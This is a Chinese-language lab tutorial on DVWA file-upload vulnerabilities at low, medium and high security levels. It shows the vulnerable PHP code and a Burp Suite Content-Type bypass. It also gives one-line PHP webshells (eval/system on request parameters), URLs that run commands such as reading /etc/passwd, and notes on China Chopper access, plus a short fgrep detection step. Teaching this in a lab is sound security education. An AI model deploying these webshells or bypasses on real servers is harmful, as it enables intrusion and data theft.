一、文件上传漏洞 低、中、高三级别 详解

文件上传漏洞

项目实验环境

OWASP Broken Web Apps VM v1.2 靶场
burpsuite 代理服务器
Kali-Linux-2020.1-vmware-amd64 攻击机

实验一(低安全级别)

思路: 可以上传任意文件,没有做任何的检测,如果上传的是恶意的木马,就可以连接服务器,爆破,获取webshell
在这里插入图片描述

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?> 

通过代码也可以发现,只要存在上传的文件对象就允许上传,并没有限制是否为图片文件

实验二(中安全级别)

思路: 限制上传的文件必须是是图片类型,且限定了大小,图片类型的限制用http中的请求类型,即MIME类型对请求头进行限制,此实验限制为图像类型

什么是MIME?
MIME (Multipurpose Internet Mail Extensions)(多功能网际邮件扩充协议) 是描述消息内容类型的因特网标准,在HTTP中,MIME类型被定义在Content-TypeHeader中,每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。

常见的MIME类型(通用型):

超文本标记语言文本             .html            text/html
xml文档                            .xml            text/xml
XHTML文档                        xhtml         application/xhtml+xml
普通文本                          .txt              text/plain
RTF文本                              .rtf              application/rtf
PDF文档                              .pdf          application/pdf
Microsoft Word文件             .doc             application/msword
PNG图像                              .png          image/png
GIF图形                              .gif              image/gif
JPEG图形                          .jpeg,.jpg     image/jpeg
au声音文件                        .au              audio/basic
MIDI音乐文件                  .mid,.midi     audio/midi,audio/x-midi
RealAudio音乐文件           .ra, .ram     audio/x-pn-realaudio
MPEG文件                           .mpg,.mpeg     video/mpeg
AVI文件                           .avi             video/x-msvideo
GZIP文件                           .gz             application/x-gzip
TAR文件                           .tar             application/x-tar
任意的二进制数据                           application/octet-stream

在这里插入图片描述

比如,打开淘宝网,可以看到高亮栏的content-type为imag/png
在这里插入图片描述分析:
那么,可以通过更改请求头的这个信息,使其为网页需要的图片的MIME类型即可

此时,使用burpsuite进行代理
思路:
在这里插入图片描述
步骤:
1.在Kali上打开burpsuite,代理的功能打开,并设置为所有的接口
在这里插入图片描述2.将物理主机的代理功能打开,指向Kali
在这里插入图片描述3.打开浏览器访问文件上传的网页,选择一个文本文件,点击上传 ,此时kali就截到了 这个HTTP的请求信息
在这里插入图片描述4.更改content-type为image/jpeg
在这里插入图片描述可见,不是图片的文件就被上传了,这样就可以上传一个恶意的一句话木马,使用中国菜刀的软件就可以进行连接,进行爬取数据,下面会做解释
在这里插入图片描述
查看后台的php代码,限制的就是MIME类型,通过修改请求头中的这个类型,就可以蒙混过关

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?> 

实验三(高安全级别)

网站设计: 限制上传文件的扩展名,必须是jpg、JPG、jpeg、JPEG 与图片的大小,这时,修改MIME类型是没有用的,因为网页的后端PHP语言限制的是文件的后缀名,如果直接更改文件的后缀名,会导致木马程序失效(即不能使用)
查看后台的php代码

 <?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_LES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }           
            else{              
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?> 

webshell

小马:一句话木马也称小马,即整个shell代码只有一行,一般是系统执行函数

大马:代码里和功能都比小马多,一般会进行二进制编码加密码,防止被安全防火墙/入侵系统检测到

yichen.php 
<?php eval($_REQUEST['eichi']);?> 需要网页的输入式请求,单引号中写的是请求的实,理解成变量名即可
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen.php 
<?php eval($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen.php?eichi=phpinfo();

在这里插入图片描述

yichen1.php #eval 
<?php system($_REQUEST['eichi']);?> 调用系统的函数
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen1.php 
<?php system($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen1.php?eichi=cat /etc/passwd

在这里插入图片描述可怕吗 ?如果你觉得还行,那就请继续看下去,还有更恐怖的~
使用页面文件上传页面,上传一个这样的php代码

<?php @eval($_POST['yichen']);?> 方括号内的是密码
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php 
<?php @eval($_POST['yichen']);?>
说明:request是在网页端输入变量访问,POST是使用类似中国菜刀的工具进行连接,是C/S架构
http://192.168.211.143/dvwa/hackable/uploads/shell.php

网页访问,并没有什么内容,但是使用中国菜刀连接,就可以对这个网站进行爬取,获取任意你需要的内容与数据
在这里插入图片描述在这里插入图片描述

总结:

1.实验1没有任何要求,不做赘述

2.实验2限制了上传文件的HTTP中MIME类型,根据使用代理服务器来更改请求头中的MIME类型为图片类型

3.实验3限制了上传文件的后缀名,那就上传一个图片木马,对于高安全级别的图片木马注入,请点击这里文件包含漏洞 低、中 、高三级别详解(一句话木马,图片木马)

解决:

使用过滤功能来查看恶意的木马程序,使用防火墙,waf等工具

root@owaspbwa:~# fgrep -R 'eval($_POST[' /var/www/dvwa
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['yichen']);?>
/var/www/dvwa/vulnerabilities/fi/shell20.php:<?php eval($_POST[123]);?>
/var/www/dvwa/vulnerabilities/fi/shell999.php:<?php eval($_POST[123]);?>

CC攻击与DDOS工具

CC是应用程序瘫痪,比如发送验证码的网页瘫痪;DDOS网络发起攻击,增大网络的负载

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值